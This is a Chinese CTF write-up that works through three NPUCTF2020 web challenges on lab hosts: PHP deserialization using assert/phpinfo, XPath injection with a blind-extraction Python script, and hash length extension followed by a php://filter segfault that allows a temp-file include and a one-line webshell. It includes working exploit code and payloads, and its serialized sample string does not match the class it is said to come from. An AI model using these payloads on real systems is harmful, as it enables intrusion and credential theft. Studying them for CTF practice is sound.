NPUCTF2020web部分复现

还有一个node和cbc字节翻转我这个菜鸡水平看不懂。。。。以后补上

ReadlezPHP

打开靶机源码处发现页面

打开页面得到源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

两个对象创建和销毁时的魔术方法,将传入的data反序列化

解题

__destruct方法可知,会输出$b($a),所以我们构造函数读取即可,用断言assert,assert(phpinfo())就是输出phpinfo()了

<?php
class HelloPhp
{
    public $a = "phpinfo()";
    public $b = "assert";
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}

data传入即可

flag就在这里面

ezlogin

首页是一个登录框,session存在期限

抓包重放,同样重放后session失效,应当是设置了csrf-token

考点:xpath注入

参考原文地址:Tr0y's Blog

总结一下:

xpath 是一门在 XML 文档中查找信息的语言。xpath注入主要分为常规注入和布尔盲注

查询语句如:

/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']

常规注入如下:

构造万能密码传入如admin' or '1:(已知admin用户)

/root/users/user[username/text()='admin' or '1' and password/text()='".$pwd."']

或者' or 1 or '1

/root/users/user[username/text()='' or 1 or '1' and password/text()='".$pwd."']

或节点遍历admin'] | //* | //*['

/root/users/user[username/text()='admin'] | //* | //*['' and password/text()='".$pwd."']

ps:xpath 没有注释一说,所以 payload 要自行构造闭合原语句。

布尔盲注payload用法主要如下:

payload 含义
' or count(/)=1->n or '1 判断根节点数量(n即是根节点的数目)
' or string-length(name(/*[1->n]))=1->n or '1 获取第n个节点的名字长度n
' or substring(name(/*[1->n]), 1, 1)='测试字符' or '1 逐位获取第n个节点名

解题

使用' or substring(name(/*[1]), 1, 1)='a' or '1猜测根节点字符

' or substring(name(/*[1]), 1, 1)='a' or '1

' or substring(name(/*[1]), 1, 1)='r' or '1

非法操作,则说明根节点的第一个字符是'r'

编写脚本

import requests
import re

url ='http://e2f677a1-4672-4581-81d4-2e82706d0738.node3.buuoj.cn/login.php'
s = requests.session()

head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}

find =re.compile('<input type="hidden" id="token" value="(.*?)" />')#匹配页面token

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

flag =''
for i in range(1,20):
    print('------------------')
    for j in strs:
        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload = "<username>' or substring(name(/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        r = s.post(url=url,headers=head,data=payload)
        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

接下来依次跑根节点以下的子节点,直到跑到username和password,替换payload即可

 #猜测子节点名称
 payload_2 = "<username>' or substring(name(/root/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])

 #猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])

#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])

payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])

最后得到username=adm1n,password=cf7414b5bdb2e65ee43083f4ddbc4d9f,password解码md5得gtfly123

登录会闪过一句话,抓包截下来是一串base64ZmxhZyBpcyBpbiAvZmxhZwo=解码得flag is in /flag

url是admin.php?file=welcome,尝试php://filter读取,发现php和base被过滤,大小写绕过

得到flag

ezinclude

打开靶机只有username/password error,源码处发现注释

随便传两个值抓包回放

考点1:哈希长度拓展攻击

哈希长度拓展攻击是利用了 md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值。

可以使用工具hashpump构造payload,用法如下

官方wp是说可以爆破secret的长度,但这题直接给出了Md5后的hash973225ae4fc8977f86d1a330b0774630,也就是pass。。。。

那么直接传,发现有跳转flflflflag.php

打开页面告诉不是flag并存在包含

可以利用伪协议读取源码

再扫一下目录

config.php还是告诉flag不在这里,dir.php列出了根目录下的文件

考点2:临时文件包含( php 7 Segment Fault )

php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除

参考文章:https://www.anquanke.com/post/id/201136#h2-11

构造上传表单

<html>
<form action="http://22a3b9e5-eb32-4c8e-b130-54e4a5beb8df.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" method="post" enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit" value="提交">
</form>
</body>
</html>

上传一句话文件

查看dir.php,我这试了两次

查看文件是否包含成功

包含文件连接shell查看即可,flag就在phpinfo里

发表评论